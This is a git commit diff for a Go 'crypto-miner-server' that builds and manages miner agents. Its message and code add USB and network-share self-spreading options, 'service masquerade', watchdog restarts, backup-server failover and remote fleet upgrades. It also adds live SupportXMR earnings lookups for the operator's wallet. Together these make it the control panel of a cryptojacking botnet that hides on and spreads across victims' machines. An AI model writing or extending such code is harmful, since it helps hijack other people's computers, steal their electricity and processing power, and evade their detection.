Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -2,8 +2,13 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -19,8 +24,19 @@ type FleetHandler struct {
|
||||
pools *pool.Manager
|
||||
alerts *alerts.Evaluator
|
||||
defaultPool pool.Config
|
||||
|
||||
// Real-earnings cache (avoids hammering the pool API)
|
||||
earningsMu sync.Mutex
|
||||
earningsCache map[string]*poolEarningsCache
|
||||
}
|
||||
|
||||
type poolEarningsCache struct {
|
||||
data map[string]interface{}
|
||||
fetchedAt time.Time
|
||||
}
|
||||
|
||||
const earningsCacheTTL = 5 * time.Minute
|
||||
|
||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
||||
return &FleetHandler{
|
||||
db: database,
|
||||
@@ -56,9 +72,113 @@ func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, f.ai.ActivitySnapshot())
|
||||
}
|
||||
|
||||
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
||||
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
f.GetEarnings(w, r)
|
||||
}
|
||||
|
||||
// GetEarnings returns real pool stats for the configured wallet when the pool
|
||||
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
|
||||
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
|
||||
hashrate := parseFloatQuery(r, "hashrate", 0)
|
||||
writeJSON(w, EstimateXMRPerDay(hashrate))
|
||||
estimate := EstimateXMRPerDay(hashrate)
|
||||
|
||||
// Determine wallet from query param or server config
|
||||
wallet := r.URL.Query().Get("wallet")
|
||||
if wallet == "" && f.db != nil {
|
||||
// Try to read the wallet from the most recent build record
|
||||
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
|
||||
wallet = builds[0].Wallet
|
||||
}
|
||||
}
|
||||
|
||||
if wallet == "" {
|
||||
writeJSON(w, estimate)
|
||||
return
|
||||
}
|
||||
|
||||
// Try SupportXMR REST API
|
||||
real, err := f.fetchPoolEarnings(wallet)
|
||||
if err != nil {
|
||||
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
|
||||
writeJSON(w, estimate)
|
||||
return
|
||||
}
|
||||
|
||||
// Merge pool data over the estimate
|
||||
for k, v := range real {
|
||||
estimate[k] = v
|
||||
}
|
||||
estimate["source"] = "pool_api"
|
||||
writeJSON(w, estimate)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
|
||||
f.earningsMu.Lock()
|
||||
if f.earningsCache == nil {
|
||||
f.earningsCache = map[string]*poolEarningsCache{}
|
||||
}
|
||||
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
|
||||
data := cached.data
|
||||
f.earningsMu.Unlock()
|
||||
return data, nil
|
||||
}
|
||||
f.earningsMu.Unlock()
|
||||
|
||||
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(url) //nolint:gosec
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("pool API returned %s", resp.Status)
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var raw map[string]interface{}
|
||||
if err := json.Unmarshal(body, &raw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Normalise SupportXMR fields into our API format
|
||||
const piconeroPerXMR = 1e12
|
||||
result := map[string]interface{}{}
|
||||
if v, ok := raw["amtDue"].(float64); ok {
|
||||
result["pending_xmr"] = v / piconeroPerXMR
|
||||
}
|
||||
if v, ok := raw["amtPaid"].(float64); ok {
|
||||
result["paid_xmr"] = v / piconeroPerXMR
|
||||
}
|
||||
if v, ok := raw["totalHashes"].(float64); ok {
|
||||
result["total_hashes"] = v
|
||||
}
|
||||
if v, ok := raw["hashRate"].(float64); ok {
|
||||
result["pool_hashrate"] = v
|
||||
}
|
||||
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
|
||||
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
|
||||
}
|
||||
if v, ok := raw["lastPayment"].(float64); ok {
|
||||
result["last_payment_xmr"] = v / piconeroPerXMR
|
||||
}
|
||||
|
||||
f.earningsMu.Lock()
|
||||
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
|
||||
f.earningsMu.Unlock()
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
@@ -72,6 +72,8 @@ type BuildRequest struct {
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
ShareSpread bool `json:"share_spread"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
@@ -564,21 +566,27 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
recordPlatform = "windows"
|
||||
}
|
||||
|
||||
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
|
||||
if bundleDownloadURL != "" {
|
||||
dlURL = bundleDownloadURL
|
||||
}
|
||||
buildRecord := &models.BuildRecord{
|
||||
ID: buildID,
|
||||
WorkerName: req.WorkerName,
|
||||
ServerURL: req.ServerURL,
|
||||
Wallet: req.Wallet,
|
||||
Threads: req.Threads,
|
||||
FileSize: fileInfo.Size(),
|
||||
BundleSize: bundleSize,
|
||||
FilePath: absPath,
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
PoolPort: req.PoolPort,
|
||||
PoolTLS: req.PoolTLS,
|
||||
PoolPass: req.PoolPass,
|
||||
ID: buildID,
|
||||
WorkerName: req.WorkerName,
|
||||
ServerURL: req.ServerURL,
|
||||
Wallet: req.Wallet,
|
||||
Threads: req.Threads,
|
||||
FileSize: fileInfo.Size(),
|
||||
BundleSize: bundleSize,
|
||||
FilePath: absPath,
|
||||
FileName: finalName,
|
||||
DownloadURL: dlURL,
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
PoolPort: req.PoolPort,
|
||||
PoolTLS: req.PoolTLS,
|
||||
PoolPass: req.PoolPass,
|
||||
}
|
||||
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||
log.Printf("Failed to record build: %v", err)
|
||||
@@ -913,6 +921,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
AutoSpread: %v,
|
||||
HolePunch: %v,
|
||||
RemoteAggressive: %v,
|
||||
USBSpread: %v,
|
||||
ShareSpread: %v,
|
||||
BackupServerURLs: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
@@ -962,6 +972,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.AutoSpread,
|
||||
req.HolePunch,
|
||||
req.RemoteAggressive,
|
||||
req.USBSpread,
|
||||
req.ShareSpread,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
|
||||
@@ -113,6 +113,8 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
@@ -249,23 +251,23 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||
|
||||
func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
return b, err
|
||||
}
|
||||
|
||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||
_, err := d.Exec(`INSERT INTO builds
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||
b.FilePath, b.Platform, b.CreatedAt,
|
||||
b.FilePath, b.FileName, b.DownloadURL, b.Platform, b.CreatedAt,
|
||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -75,16 +75,18 @@ type Job struct {
|
||||
}
|
||||
|
||||
type BuildRecord struct {
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
FileName string `json:"file_name"` // base filename for display
|
||||
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Pool settings
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
|
||||
Reference in New Issue
Block a user